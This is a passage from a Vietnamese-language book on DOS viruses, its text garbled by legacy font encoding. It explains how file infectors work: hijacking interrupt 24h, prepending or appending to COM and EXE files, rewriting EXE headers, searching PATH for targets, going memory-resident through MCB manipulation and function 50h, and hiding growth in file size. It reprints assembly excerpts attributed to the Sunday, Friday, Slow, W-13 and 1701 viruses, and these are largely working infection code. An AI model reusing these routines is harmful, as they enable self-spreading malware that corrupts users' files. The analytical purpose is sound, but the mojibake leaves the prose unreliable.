tèt nhÊt nªn thay ng¾t 24h tr−íc khi thi hµnh truy xuÊt file råi sau ®ã hoµn tr¶. 
S¬ ®å tæng qu¸t cña mét F - virus trªn file lµ : 
 

             Thay ng¾t 24h 

 

LÊy vµ ®Æt l¹i thuéc tÝnh cña file 

 

LÊy vµ l−u gi÷ ngµy giê t¹o file   

 

          Truy xuÊt file (l©y) 

 

     §Æt l¹i ngµy giê t¹o file cò 

 

      §Æt l¹i thuéc tÝnh cña file 

 

             Tr¶ l¹i ng¾t 24 cò 



 78 

 
Ng¾t 24h míi chØ ®¬n gi¶n lµ tr¶ l¹i m� lçi 3 (tr¶ l¹i quyÒn ®iÒu khiÓn cho ch−¬ng tr×nh øng 
dông chØ ra r»ng sai trong chøc n¨ng DOS). 
§o¹n ch−¬ng tr×nh sau minh häa c¸c kÜ thuËt trªn mét c¸ch râ rµng nhÊt . 
; PhÇn d÷ liÖu 
 handler  dw ?     ; Handler cña file sÏ më 
 attrib  dw ?     ; Thuéc tÝnh file 
 time   dw  ?       
 date   dw ?   
 off_int24  dw ?     ; §Þa chØ cña ng¾t 24h ë ®©y 
 seg_int25  dw ? 
 off_Filename dw ?     ; §Þa chØ cña tªn file cÇn l©y lan 
 seg_Filename dw ? 
; Gi¶ sö DS:DX trá ®Õn file name, mµ còng ®� ®−îc cÊt vµo biÕn off_Filename, seg_Filename 
  mov  AX, 04300h 
  int  21h      ; LÊy thuéc tÝnh file 
  ............. 
  mov  attrib, CX 
  ............. 
; LÊy vµ thay ng¾t 24h 
  mov  AX, 3524h 
  int  21h 
  mov  off_int24h, BX 
  mov  seg_int24h, ES    ; CÊt gi÷ ®Þa chØ sÏ tr¶ l¹i 
  mov  DX, offset New_int24 
  mov  AX, 2524h 
  int  21h      ; Thay ng¾t 24 
; §Æt l¹i thuéc tÝnh 
  lds  DX, off_Filename 
  xor  CX, CX     ; Thuéc tÝnh 0 
  mov  AX, 4301h 
  int  21h 
; LÊy thêi gian vµ ngµy th¸ng cËp nhËt file 
  mov  BX, handler 
  mov  AX, 5700h 
  int   21h 
  mov  time, DX 
  mov  date, CX 
 ........... 
; PhÇn xö lý 
; Tr¶ l¹i thêi gian vµ ngay th¸ng cò cña file 
  mov  BX, handler 
  mov  DX, time 
  mov  CX, date 
  mov  AX, 5701h 
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  int  21h 
; §ãng file 
  mov  AH, 3Eh 
  int  21h 
; §Æt l¹i thuéc tÝnh 
  lds  DS, off_Filename 
  mov  CX, attrib 
  mov  AX, 4301h 
  int  21h 
; §Æt l¹i ng¾t 024h 
  lds  DX, off_int24 
  mov  AX, 2524h 
  int  21h 
 (TrÝch Sunday virus). 
 

b. KÜ thuËt ®Þnh vÞ trªn file:  ë ®©y chØ ®Ò cËp ®Õn 2 ph−¬ng ph¸p chÌn ®Çu vµ Append file, 
mét ph−¬ng ph¸p dïng cho COM vµ cßn l¹i cho .EXE 
  + ChÌn ®Çu:  c¸c b−íc thùc hiÖn phøc t¹p, gåm c¸c thñ tôc: xin cÊp ph¸t vïng nhí, 
chuyÓn progvi sang, ®äc toµn bé ch−¬ng tr×nh tiÕp theo sau ®ã råi ghi l¹i vµo file. §o¹n 
ch−¬ng tr×nh sau minh häa ®iÒu nµy. 
; Xin cÊp ph¸t vïng nhí 64Kb 
  mov  BX, 1000h 
  mov  AH, 48h 
  int  21h 
  jae  cont_0 
  .......... 
; ChuyÓn progvi sang 
 cont_0: 
  mov  ES, AX 
  xor  SI, SI 
  mov  DI, SI 
  mov  CX, 0710h 
  rep  movsb     ; ChuyÓn progvi sang 
; §äc tiÕp ch−¬ng tr×nh ®èi t−îng vµo sau 
  mov  DX, DI     ; DS:DX ngay sau progvi 
  mov  CX, filesize    ; CX = sè l−¬ng byte ®äc vµo b»ng kÝch th−íc 
file 
  mov  BX, filehandler 
  push  ES 
  pop  DS 
  mov  AH, 3Fh 
  int  21h 
  jb  error 
; Dêi con trá lªn ®Çu file bÞ ghi 
  xor  CX, CX 
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  mov  DX, CX 
  mov  AX, 4200h 
  int  21h      ; DI = kÝch th−íc míi 
  ............ 
; Ghi file 
  mov  CX, DI     ; CX = kÝch th−íc míi - sè byte cÇn ghi 
  xor  DX, DX  
  mov  AH, 40h     ; DS:DX = buffer võa tiÕn hµnh xong 
  int   21h 
(TrÝch Friday virus). 
 
  +Append File: Ph−¬ng ph¸p nµy chÐp progvi vµo cuèi file ®èi t−îng, tïy theo lo¹i file 
sÏ cã c¸ch ®Þnh vÞ kh¸c nhau. §èi víi file COM, mäi chuyÖn ®¬n gi¶n, dêi con trá ®Õn cuèi 
file, ghi progvi vµo, b−íc nh¶y ®Çu ch−¬ng tr×nh ®−îc tÝnh b»ng kÝch th−íc cò cña file míi trõ 
®i 3 byte. §o¹n m� sau minh häa kÜ thuËt nµy : 
; Më file 
  mov  AX, 03D02h    ; Më ®Ó ®äc ghi 
  int  21h 
  jb  error 
; ChuyÓn ®Õn cuèi file 
  mov  BX, AX 
  mov  AX, 4202h 
  xor  CX, CX 
  xor  DX, DX 
  int  21h 
  call  writeProgvi 
  ......... 
; ChuyÓn lªn ®Çu file gi lÖnh nh¶y 
  mov  AX, 4200h 
  xor   CX, CX 
  xor  DX, DX 
  int  21h 
  jb  error 
  mov  AX, filesize 
  add  AX, -2 
 
 §èi víi file .EXE, dï cã vÎ phøc t¹p víi viÖc ®Þnh vÞ l¹i c¸c ®Çu vµo, nh−ng l¹i dÔ dµng 
víi c¸c b−íc sau : 
 + TÝnh kÝch th−íc file:  cã thÓ ®¬n gi¶n b»ng c¸ch dêi con trá file ®Õn cuèi file, tuy nhiªn, 
th«ng tin tõ .EXE header còng ®ñ  cho phÐp tÝnh kÝch th−íc nµy. 
 + Ghi progvi vµo cuèi file, t−¬ng tù file COM. 
 + §Þnh vÞ gi¸ trÞ CS vµ IP, nªn ®Þnh vÞ lu«n SS vµ SP. 
§o¹n m� sau minh häa c¸ch ®Þnh vÞ : 
; Gi¶ sö buffer ®äc file lµ .EXE header, buffer ®� ®−îc virus ®äc 28 byte vµo 
.EXE_header : 
 IDFile  dw ?     ; Gi¸ trÞ 4D5A lµ file .EXE 



www.updatesofts.com 

 81 

 PartPage  dw ? 
 PageCnt  dw ? 
 ReloCnt  dw ? 
 HdrSize  dw ? 
 MinMem  dw ? 
 MaxMem  dw ? 
 ReloSS  dw ? 
 .EXESP  dw ? 
 ChkSum  dw ? 
 .EXEIP  dw ? 
 ReloCS  dw ? 
 TablOff  dw ? 
; Gi¸ trÞ kÝch th−íc file sÏ ®−îc l−u ë ®©y 
 FilesizeHi  dw ?     ; Pagesize  dw 200 
 FilesizeLo  dw ?     ; Parasize dw  10h 
; Gi¸ trÞ ®Çu vµo file cò ë ®©y 
 SSValue  dw ? 
 SPValue  dw ? 
 IPValue  dw ? 
 CSValue  dw ? 
; §o¹n m� ch−¬ng tr×nh 
  mov  ChkSum, 1984h 
  mov  AX, ReloSS    ; CÊt c¸c entry cña 
  mov  SSValue, AX    ; CS:IP 
  mov  AX, .EXESP    ; SS:SP 
  mov  SPValue, AX 
  mov  AX, .EXEIP 
  mov  IPValue, AX 
  mov  AX, ReloSS 
  mov  CSValue, AX 
; ChØnh kÝch th−íc file theo ®o¹n 
  mov  DX, filesizeHi 
  mov  AX, FilesiaeLo 
  add  AX, Fh 
  adc  DX, 0 
  and  AX, FFF0h 
  mov  filesizeHi, DX 
  mov  filesizeLo, AX 
; TÝnh kÝch th−íc míi sau khi céng thªm progvi 
  add  AX, 6B4h 
  adc  DX, 0     ; KÝch th−íc Progvi lµ 1716 byte 
  ......... 
  div  Pagesize     ; §æi sang PartPage vµ PageCnt 
  or  DX, DX     ; Cã trang d− kh«ng 
  je  next_0 
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  inc  AX 
 next_0: 
  mov  PageCnt, AX 
  mov  PartPage, DX 
; §Þnh l¹i CS, IP, SS, SP 
  mov  AX, filesizeLo 
  mov  DX, FilesizeHi 
  div  Parasize     ; §æi kÝch th−íc file ra ®o¹n 
  sub  AX, HdrSise 
  mov  ReloSS, AX 
  mov  .EXEIP, 0     ; §Çu vµo IP = 0 
  mov  ReloSS, AX 
  mov  .EXESP, 07B4    ; §Æt l¹i Stack 
; ChuyÓn ®Õn ®Çu file 
  xor  CX, CX 
  mov  DX, CX 
  mov  AX, 4200h 
  int  21h 
 ......... 
; Ghi l¹i .EXE header 
  mov  CX, 18h 
  mov  DX, offset .EXEHeader 
  mov  AH, 40h 
  int  21h 
; Dêi xuèng cuèi file ®Ó ghi progvi 
  mov  DX, filesizeLo 
  mov  CX, filesizeHi 
  mov  AX, 4200h 
  int  21h 
  ......... 
; Ghi file 
  mov  CX, 6B0h     ; Ghi progvi vµo 
  xor  DX, DX 
  mov  AH, 40h 
  int  21h 
(TrÝch Slow Virus) 
 
c. KÜ thuËt t×m file ®èi t−îng:  §iÒu quan träng cña virus lµ ph¶i l©y lan, do ®ã, t×m kiÕm 1 file 
®èi t−îng lµ ®iÒu quan träng.  
§èi víi TF - Virus, quyÒn ®iÒu khiÓn  chØ t¹m thêi giao cho virus. Khi virus chuyÓn quyÒn cho 
file, nã kh«ng cßn ¶nh h−ëng g× víi file n÷a v× nã kh«ng chiÕm mét ng¾t nµo kh¶ dÜ cho nã cã 
thÓ Popup ®−îc. ChÝnh v× ®iÒu nµy, viÖc t×m kiÕm file ®èi t−îng l©y lan lµ mét ®iÒu cÊp b¸ch. 
Do ®ã, trong progvi lu«n lu«n cã mét ®o¹n m� cho phÐp virus ®i t×m file ®Ó l©y lan. 
Th«ng th−êng, virus dïng chøc n¨ng 4Eh (Find First) vµ 4Fh (Find Next) ®Ó t×m file. V× 
quyÒn ®iÒu khiÓn trao cho nã qu¸ Ýt ái, nªn virus “tranh thñ “t×m kiÕm cµng nhiÒu file cµng tèt, 
nã cã thÓ : 
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 + L©y toµn bé file thi hµnh trong th− môc hiÖn hµnh. Tuy vËy, do lÖnh PATH ®−îc dïng 
qu¸ nhiÒu, tõ 1 th− môc chØ chøa file d÷ liÖu cã thÓ gäi ®−îc mµ kh«ng bÞ l©y. Do ®ã, virus ®� 
®−îc c¶i tiÕn. 
 + L©y c¸c file trong c¸c th− môc chØ ra trong lÖnh PATH. §iÒu nµy v« cïng thuËn lîi, b¶o 
®¶m quyÒn tån t¹i cho virus. Tuy vËy, vÉn ch−a hÕt. 
 + L©y toµn bé file trong ®Üa hiÖn hµnh. §iÒu nµy ®¶m b¶o chØ l©y mét lÇn, tuy vËy kÝch 
th−íc ®Üa qu¸ lín lµm thêi gian l©y kÐo dµi, ng−êi sö dông dÔ nhËn thÊy. 
C¸ch tèt nhÊt vÉn lµ t×m file trong PATH. 
§o¹n m� sau minh häa c¸ch t×m file trong th− môc hiÖn hµnh: 
; ViÖc t×m kiÕm g¾n liÒn víi viÖc ®Æt l¹i DTA. 
; Gi¶ sö DTA ®� ®−îc ®Æt  
  mov  DX, offset filename 
  mov  CX, 3 
  mov  AH, 4Eh  
  int  21h 
  jmp  Test 
 FindNext: 
  mov  AH, 4Fh 
  int  21h 
 Test: 
  jae  lay      ; NÕu gÆp lçi sÏ kiÓm tra xem cã ph¶i “File not  
  cmp  AL, 12h     ; found “kh«ng ? 
  ........... 
(TrÝch W - 13 virus) 
 
§èi víi RF - Virus, mäi chuyÖn l¹i cã vÎ ®¬n gi¶n h¬n. DOS lµ mét hÖ ®iÒu hµnh ®Üa hïng 
m¹nh, bao gåm nhiÒu chøc n¨ng truy xuÊt ®Üa. BÊt k× mét ch−¬ng tr×nh nµo chi phèi ng¾t 21h - 
mét ng¾t chñ yÕu cña DOS - sÏ cã toµn quyÒn thao t¸c trªn file. Virus tÊt nhiªn sÏ kh«ng bá 
qua “miÕng måi “ngon lµnh nh− thÕ. 
Trªn tÊt c¶ c¸c RF - virus ®� biÕt ®Òu chiÕm ng¾t 21h, tuy nhiªn, kh«ng ph¶i bÊt k× mét chøc 
n¨ng nµo còng dÉn ®Õn viÖc l©y lan, mµ chØ lµ mét sè chøc n¨ng nµo ®ã mµ th«i. Th«ng 
th−êng, chøc n¨ng thi hµnh file 4Bh ®−îc chó ý h¬n c¶. BÊt k× file nµo thi hµnh ®Òu ph¶i th«ng 
qua chøc n¨ng nµy (kÓ c¶ COMMAND.COM), mÆt kh¸c, c¸c tham sè vµo cho phÐp ®Þnh vÞ 
file nhanh nhÊt mµ kh«ng cÇn ph¶i t×m file . Do ®ã, còng ch¼ng l¹ g× nÕu tÊt c¶ c¸c virus ®� 
biÕt ®Òu chi phèi chøc n¨ng con nµy. §Ó cã thÓ t¨ng tèc ®é l©y lan, virus cã thÓ më réng ph¹m 
vi chi phèi cña m×nh b»ng c¸ch “kiªm lu«n mét vµi chøc n¨ng kh¸c nh− më file (3Dh), t×m 
file, ... 
VÒ sau, khi søc m¹nh cña viÖc ®Þnh vÞ file ®èi t−îng  cña TF - virus tá râ, RF - virus còng ®� 
“tiÕp thu“, nã ®� cã kh¶ n¨ng cè t×m file kh¸c ®Ó l©y, khi kh«ng cßn file n÷a míi l©y trªn file 
®−îc chØ ®Þnh. 
VÝ dô minh häa cã thÓ thÊy trong ph©n tÝch TF - virus. 
 3/ KÜ thuËt th−êng tró: KÜ thuËt nµy chØ ¸p dông víi RF - virus.Thùc chÊt cña sù ra ®êi 
cña TF - virus lµ khã kh¨n trong viÖc gi¶i quyÕt kÜ thuËt l−u tró. KÜ thuËt nµy cho ®Õn nay vÉn 
lµ mét vÊn ®Ò “më“ cho c¸c nhµ nghiªn cøu vµ “thiÕt kÕ“ virus. 
§iÒu khã kh¨n xuÊt ph¸t ë chç, DOS chØ cung cÊp chøc n¨ng l−u tró cho ch−¬ng tr×nh, nghÜa 
lµ chØ cho phÐp toµn bé ch−¬ng tr×nh th−êng tró. ViÖc th−êng tró cña virus, do ®ã còng dÉn 
®Õn viÖc th−êng tró cña ch−¬ng tr×nh ®èi t−îng, mµ ®iÒu nµy kh«ng thÓ chÊp nhËn nÕu kÝch 
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th−íc ch−¬ng tr×nh ®èi t−îng qu¸ lín. C¸ch tæ chøc vïng nhí còng kh«ng ®−îc DOS c«ng bè 
kÜ cµng còng t¹o khã kh¨n trong ý ®å muèn th−êng tró. 
Tuy vËy, vÉn cã c¸ch gi¶i quyÕt, hoÆc b»ng c¸ch sö dông kh«n khÐo c¸c chøc n¨ng cña DOS, 
hoÆc b»ng ph−¬ng ph¸p “thñ c«ng“ trªn chuçi MCB. C¨n cø kÜ thuËt th−êng tró ®−îc thùc hiÖn 
tr−íc hay sau khi ch−¬ng tr×nh ®èi t−îng thi hµnh, cã thÓ chia kÜ thuËt th−êng tró thµnh hai 
nhãm : 
a. Th−êng tró tr−íc khi tr¶ quyÒn ®iÒu khiÓn:  Kh«ng cã chøc n¨ng nµo cña DOS cho phÐp 
lµm ®iÒu nµy, do ®ã kÜ thuËt nµy g¾n liÒn víi t¸c vô thñ c«ng trªn MCB. C¸c c¸ch sau ®� ®−îc 
virus dïng ®Õn. 
  + Thao t¸c trªn MCB ®Ó t¸ch mét khèi vïng nhí ra khái quyÒn ®iÒu khiÓn cña DOS, 
råi dïng vïng nhí nµy ®Ó chøa ch−¬ng tr×nh virus. 
KÜ thuËt nµy ®� ®−îc minh häa trong ch−¬ng 3, chóng ta sÏ kh«ng ®Ò cËp ®Õn. Tuy nhiªn, 
nh−îc ®iÓm cña nã lµ dÔ bÞ ph¸t hiÖn, khi dïng bÊt k× mét phÇn mÒm Mapping memory ®Òu cã 
thÓ ph¸t hiÖn ra chªnh lÖch vïng nhí (cã thÓ dïng lÖnh CHKDSK cña DOS). 
  + Tù ®Þnh vÞ: KÜ thuËt nµy ®−a ra ®Ó kh¾c phôc nh−îc ®iÓm cña kÜ thuËt trªn, nh−ng 
l¹i cã vÎ may rñi. C¸ch nµy dùa vµo nh÷ng ®iÒu ®� biÕt vÒ c¸ch t¶i cña COMMAND.COM: nã 
chØ ®Ó mét phÇn ch−¬ng tr×nh th−êng tró ë vïng nhí thÊp (nÕu cã thÓ ®−îc), nhiÖm vô cña 
®o¹n nµy lµ sÏ t¶i phÇn cßn l¹i cña COMMAND.COM vµo vïng nhí cao råi trao quyÒn ®iÒu 
khiÓn, phÇn cßn l¹i nµy bao gån phÇn lín c¸c lÖnh néi tró cña DOS, nã cßn cã nhiÖm vô t×m vµ 
thi hµnh file. Khi quyÒn ®iÒu khiÓn ®−îc chuyÓn cho file, phÇn m� nµy kh«ng cßn cÇn thiÕt 
n÷a vµ do ®ã cã thÓ bá ®i. NÕu ®Ó nh÷ng ®o¹n m� nµy th−êng tró ë vïng nhí thÊp râ rµng sÏ 
tèn nhiÒu vïng nhí mÆc dï sÏ kh«ng cã sù t¶i l¹i COMMAND.COM khi nã bÞ ghi ®Ì. ViÖc 
tiÕt kiÖm nµy còng cã nhiÒu nguyªn nh©n nh−ng nÕu b¹n nhí r»ng kÝch th−íc vïng nhí cña 
nh÷ng m¸y ban ®Çu chØ kho¶ng 256 Kb hay tèi ®a 512 Kb th× ®iÒu nµy còng kh«ng cã g× lµ l¹. 
§èi víi mét m¸y cã RAM lµ 640 Kb (mµ b©y giê th−êng gÆp), th−êng Ýt cã ch−¬ng tr×nh nµo 
khai th¸c hÕt khèi l−îng vïng nhí nµy. DÜ nhiªn, ch−¬ng tr×nh virus kh«ng thÓ chiÕm ngay 
vïng nhí cao nÕu kh«ng dïng kÜ thuËt trªn t¸ch nã ra khái DOS, v× nh− thÕ nã sÏ bÞ 
COMMAND.COM ghi ®Ì lªn khi phÇn th−êng tró quyÕt ®Þnh t¶i l¹i COMMAND.COM, c¸ch 
gi¶i quyÕt rÊt ®¬n gi¶n nÕu virus chÞu nh−êng vïng nhí cao vµ lïi vÒ mét chót. 
V× kh«ng cÊp ph¸t vïng nhí cho virus, DOS kh«ng cã mét lÝ do g× mµ kh«ng cÊp ph¸t nã cho 
mét ch−¬ng tr×nh kh¸c nÕu cã yªu cÇu. ChÝnh v× ®iÒu nµy, ph−¬ng ph¸p tù ®Þnh vÞ g©y nhiÒu 
tranh c�i trong “néi bé“ c¸c Hacker v× nã kh«ng tu©n theo mét nguyªn t¾c an toµn d÷ liÖu nµo. 
§iÓn h×nh cho lo¹i virus nµy lµ virus 640, nã lu«n lu«n xem r»ng mäi m¸y ®Òu cã trung b×nh 
640 Kb, do ®ã ch−¬ng tr×nh virus sÏ tù ®Þnh vÞ ë ®Þa chØ 09800:0 (32 Kb d−íi DOS). 
Riªng t¸c gi¶ cuèn s¸ch nµy kh«ng xem nã lµ mét c¸ch th−êng tró. Tuy vËy, nã vÉn ®−îc xem 
nh− lµ mét cè g¾ng trong viÖc qua mÆt DOS, vµ vÉn cã −u ®iÓm trong viÖc tr¸nh khái sù chªnh 
lÖch vïng nhí do c¸c phÇn mÒm Map memory mang l¹i. 
  + Th−êng tró nh− chøc n¨ng 31h: §©y lµ mét kÜ thuËt phøc t¹p, ®ßi hái Hacker ph¶i 
cã sù hiÓu biÕt t−êng tËn kh«ng nh÷ng vÒ cÊu tróc cña vïng nhí do DOS qu¶n lý mµ cßn 
nh÷ng chøc n¨ng Undocumented còng nh− c¸ch tæ chøc vµ thi hµnh mét file cña DOS. KÜ 
thuËt nµy cã thÓ ®−îc tãm t¾t nh− sau : 
Khi ch−¬ng tr×nh virus ®−îc trao quyÒn, nã sÏ t¹o ra mét MCB ®−îc khai b¸o lµ phÇn tö trung 
gian trong chuçi MCB ®Ó chøa ch−¬ng tr×nh virus. Sau ®ã, l¹i t¹o tiÕp mét MCB míi ®Ó cho 
ch−¬ng tr×nh bÞ nhiÔm b»ng c¸ch dêi ch−¬ng tr×nh xuèng vïng míi nµy. Tuy nhiªn, mét vÊn 
®Ò khã kh¨n ®Æt ra:  khi tæ chøc thi hµnh mét file, DOS ghi nhí PSP cña nã ®Ó cho mét sè 
chøc n¨ng cña DOS dùa vµo PSP nµy mµ thi hµnh. Do ®ã, ph¶i lµm c¸ch nµo ®ã ®Æt l¹i PSP mµ 
DOS ®ang l−u gi÷ thµnh PSP míi mµ ch−¬ng tr×nh virus võa t¹o ra cho ch−¬ng tr×nh ®èi t−îng. 
§iÒu nµy v« cïng nan gi¶i v× kh«ng ai biÕt DOS cÊt PSP ë ®©u, mÆt kh¸c nÕu biÕt th× trªn mçi 
version l¹i mçi kh¸c vµ kh«ng cã c¸ch nµo ®Ó virus t−¬ng thÝch trªn mäi m¸y. 
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May m¾n thay, qua qu¸ tr×nh nghiªn cøu nh÷ng chøc n¨ng Undocumented, c¸c th¶o ch−¬ng 
viªn l¹i ph¸t hiÖn DOS cho phÐp thay ®æi PSP b»ng chøc n¨ng 50h. Chøc n¨ng nµy nh− sau : 
  Vµo :  AH = 50h 
     BX = gi¸ trÞ PSP míi cÇn thay ®æi 
  Ra  :  Kh«ng 
§o¹n ch−¬ng tr×nh sau m« t¶ kÜ thuËt nµy : 
; Cã thÓ dïng a86 ®Ó dÞch vµ th−êng tró ®o¹n ch−¬ng tr×nh nµy 
mov  AX, 7Bh      ; KÝch th−íc virus tÝnh theo ®o¹n 
mov  BP, CS 
dec  BP 
mov  ES, BP     ; ES=CS-1 trá ®Õn MCB 
mov  SI, CS:word ptr [16h]   ; Khai b¸o phÇn nµy cña  
          ;  COMMAND.COM 
mov  word ptr ES:[1], SI 
mov  DX, word ptr ES:[3]   ; LÊy kÝch th−íc MCB qu¶n lÝ 
mov  word ptr ES:[3], AX   ; G¸n gi¸ trÞ míi 
mov  byte ptr ES:[0], 04Dh   ; PhÇn tö gi÷a chuèi MCB 
sub  DX, AX 
dec  DX      ; DX=sè vïng nhí mµ MCB 
inc  BP      ;  tiÕp theo qu¶n lÝ 
mov  ES, BP     ; ES trá ®Õn MCB tiÕp theo 
push  BX      ; CÊt BX ®Ó g¸n PSP míi 
mov  AH, 50h     ; G¸n BX= BP 
mov  BX, BP     ;  chÝnh lµ PSP míi 
int  21h 
pop  BX      ; LÊy l¹i gi¸ trÞ cò 
xor  DI, DI     ; ChuyÓn toµn bé ch−¬ng tr×nh  
push  ES      ; sang vïng MCB míi 
pop  SS 
push  DI 
lea  DI, EndProg 
mov  SI, DI 
mov  CX, offset EndProg+1  ; ChuyÓn ®iÒu khiÓn sang vïng 
push  CX      ;  MCB míi 
retf 
 Next: 
 mov  segs, CS 
mov  word ptr CS:[36h], CS 
dec  BP 
mov  ES, BP 
mov  word ptr ES:[3], DX   ; G¸n l¹i gi¸ trÞ cho MCB míi lµ 
mov  byte ptr ES:[0], 05Ah   ; lµ phÇn tö cuèi chuçi 
mov  word ptr ES:[1], CS   ; Vïng nhí qu¶n lÝ bÞ gi¶m ®i mét 
inc  BP      ; mét ®o¹n b¨ng kÝch th−íc virus 
mov  ES, BP 
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push  DS 
pop  ES 
push  CS 
pop  ES 
push  ES 
mov  CX, offset Next1 
push  CX 
retf 
 Next1: 
mov  word ptr CS:[02Ch], 0 
mov  word ptr CS:[016h], CS 
jmp  far dword [offs] 
offs  dw offset EndP 
segs  dw 0 
 EndP: 
  mov  AX, 4C00h    ; ChÊm døt ch−¬ng tr×nh 
  int   21h 
 EndProg: 
 (TrÝch 1701 virus) 
 
b. Th−êng tró sau khi ®o¹t l¹i quyÒn ®iÒu khiÓn:  §Ó th−êng tró, mét sè Hacker ®� ®Ò nghÞ 
mét ph−¬ng ph¸p v« cïng s¸ng t¹o, vÉn dùa vµo c¸c chøc n¨ng cña DOS. C¸ch nµy dùa vµo 
ph−¬ng ph¸p thi hµnh ch−¬ng tr×nh hai lÇn mµ  t«i ®� ®Ò cËp ë ch−¬ng tr−íc. C¸ch nµy sÏ lÊy 
tªn ch−¬ng tr×nh ®ang thi hµnh trong m«i tr−êng DOS tæ chøc, råi mét lÇn n÷a, nã sÏ thi hµnh 
ngay chÝnh b¶n th©n m×nh, sau khi ®� gi¶m vïng nhí xuèng cßn tèi thiÓu. Sau khi file thi hµnh 
xong, quyÒn ®iÒu khiÓn b©y giê l¹i trao vÒ cho virus, vµ lóc nµy nã míi tiÕn hµnh th−êng tró 
b»ng chøc n¨ng 31h cña DOS nh− mét ch−¬ng tr×nh b×nh th−êng. C¸c b−íc mµ DOS ®� ®Ò 
nghÞ nh− sau : 
 + Gi¶i phãng vïng nhí kh«ng cÇn thiÕt. 
+ T¹o EPB. 
+ T×m tªn file trong khèi m«i tr−êng hiÖn thêi. 
+ Dïng chøc n¨ng 4B thi hµnh chÝnh nã mét lÇn n÷a. 
+ NhËn quyÒn ®iÒu khiÓn tr¶ l¹i, dïng chøc n¨ng 4D ®Ó lÊy m� lçi ra cña ch−¬ng tr×nh. 
+ Dïng chøc n¨ng 31h ®Ó th−êng tró víi BX lµ kÝch th−íc virus, m� ra (exit code) lµ m� lÊy tõ 
chøc n¨ng 4D. 
§o¹n m� sau minh häa ®iÒu nµy : 
; EPB ®−îc khai b¸o ë ®©y 
EPB : 
 Env   dw 0 
 Cmd_off  dw 80h 
 cmd_seg  dw 0 
 FCB1_off  dw 0 
 FCB1_seg  dw 05Ch  
 FCB2_off  dw 0 
 FCB2_seg  dw 06Ch  
; Khëi t¹o EPB 
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  mov  CS:PSP_value, ES 
  mov  CS:Cmd_seg, ES 
  mov  CS:FCB1_seg, ES 
  mov  CS:FCB2_seg, ES 
  ......... 
; Gi¶i phãng vïng nhí 
  mov  ES, CS:PSP_value 
  mov  AH, 04Ah  
  int  21h 
  ...... 
; T×m tªn file trong khèi m«i tr−êng 
  mov  ES, PSP_value 
  mov  ES, ES:[2Ch ]    ; ES trá ®Õn khèi m«i tr−êng  
xor  DI, DI     ; T×m b»ng c¸ch dß dÊu hiÖu 
mov  CX, 7FFFh    ; ®Çu tªn file lµ 1 word 
xor  AL, AL     ; cã gi¸ trÞ 0 
Next: 
  repne sacsb     ; T×m byte 0 
  cmp  ES:[DI], AL    ; Byte tiÕp theo = 0 ? 
  loopns Next 
  mov  DX, DI 
  add  DX, 3     ; ES:DX trá ®Õn tªn file 
; chuÈn bÞ gäi chøc n¨ng 4B 
  mov  AX, 4B00h 
  push  ES 
  pop  DS      ; DS:DX trá ®Õn tªn file 
  push  CS 
  pop  ES      ; ES:BX trá ®Õn EPB 
  mov  BX, offset EPB 
  ....... 
  pushf 
  call  far  dword [Old_int21]  ; Gäi chøc n¨ng 4B 
  ....... 
; LÊy m� lçi 
  mov  AH, 4Dh  
  int  21h 
; Th−êng tró 
  mov  AH, 31h 
  mov  DX, 06C4h    ; KÝch th−íc virus theo byte 
  mov  CL, 4     ; sÏ ®−îc ®æi sang ®o¹n 
  shr  DX, CL 
  add  DX, 10h 
  int  21h 
  .......... 
 (TrÝch Slow virus). 
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Song ph−¬ng ph¸p nµy vÉn cã h¹n chÕ, nã kh«ng thÓ l©y lan ®−îc COMMAND.COM v× khi 
COMMAND.COM lªn lÇn ®Çu tiªn, nã sÏ kh«ng bao giê tr¶ quyÒn l¹i cho virus c¶, mÆt kh¸c, 
sÏ kh«ng cã virus nµo l©y tiÕp v× dÊu hiÖu trong vïng nhí cho biÕt virus ®ang ë qu¸ tr×nh ®îi 
®iÒu khiÓn. Do ®ã, tÊt c¶ c¸c virus ®−îc thiÕt kÕ theo ph−¬ng ph¸p nµy ®Òu kiÓm tra tªn file 
víi COMMAND.COM tr−íc khi nã l©y. 
 4/ KÜ thuËt ph¸ ho¹i: 

a. TF - virus:  Do TF - virus chØ giµnh quyÒn ®iÒu khiÓn cã mét lÇn, nã kh«ng thÓ ®Õm giê mét 
c¸ch ®Òu ®Æn ®−îc, do ®ã phÇn lín c¸c TF - virus ®Òu mang tÝnh ph¸ ho¹i ngÉu nhiªn vµ tiÕn 
hµnh ngay trªn file ®èi t−îng. ViÖc ph¸ ho¹i t−¬ng ®èi nhá, chØ ®¬n gi¶n lµ xãa file mét c¸ch 
ngÉu nhiªn, ®æi l¹i ngµy giê t¹o file ch¼ng h¹n. 
b. RF virus:  §èi t−îng ph¸ ho¹i cña virus lo¹i nµy phong phó h¬n, bao gåm mµn h×nh, loa, ®Üa 
... PhÇn ph¸ ho¹i cã thÓ lµ cuéc “thi tµi“ gi÷a c¸c gi¶i thuËt ng¾n gän nh−ng cã hiÖu suÊt cao. 
HiÕm thÊy virus nµo mang tÝnh ph¸ ho¹i tµn khèc, nh−ng sau nay, khi virus dÔ bÞ ph¸t hiÖn, nã 
®� kh«ng cßn mang tÝnh hiÒn hßa n÷a. KÜ thuËt ®Õm giê, sè lÇn l©y gièng nh− B virus. 
Tuy vËy, c¸c ng¾t th−êng chiÕm cña RF - virus lµ ng¾t 1Ch h¬n lµ ng¾t 8 (nÕu ®èi t−îng ph¸ 
ho¹i lµ loa). C¸c ®o¹n m� minh häa phÇn ph¸ ho¹i cã thÓ xem trong phÇn phô lôc. 
 5/ KÜ thuËt g©y nhiÔu vµ ngôy trang. 

a. Ngôy trang:  Mét yÕu ®iÓm kh«ng c¸ch nµo tr¸nh khái lµ file ®èi t−îng sÏ bÞ t¨ng kÝch 
th−íc. L−îng t¨ng lªn nµy phô thuéc vµo viÖc cã bao nhiªu virus ®� l©y vµo vµ kÜ thuËt l©y. 
§©y còng lµ mét th¸ch thøc cho c¸c Hacker. Song vÒ sau nµy, còng ®� cã c¸ch gi¶i quyÕt khi 
lÖnh DIR cña DOS dïng chøc n¨ng 11h vµ 12h ®Ó lÊy th«ng tin vÒ file (kÓ c¶ kÝch th−íc), do 
®ã, viÖc chi phèi chøc n¨ng nµy còng cã thÓ ®¸nh lõa ®−îc mét sè ng−êi. Nh−ng ®iÒu nµy 
còng g©y hiÖu øng cho c¸c phÇn mÒm dïng c¸c chøc n¨ng nµy ®Ó copy file, so s¸nh hay tæ 
chøc lÊy viÖc thi hµnh file mµ kh«ng th«ng qua DOS. 

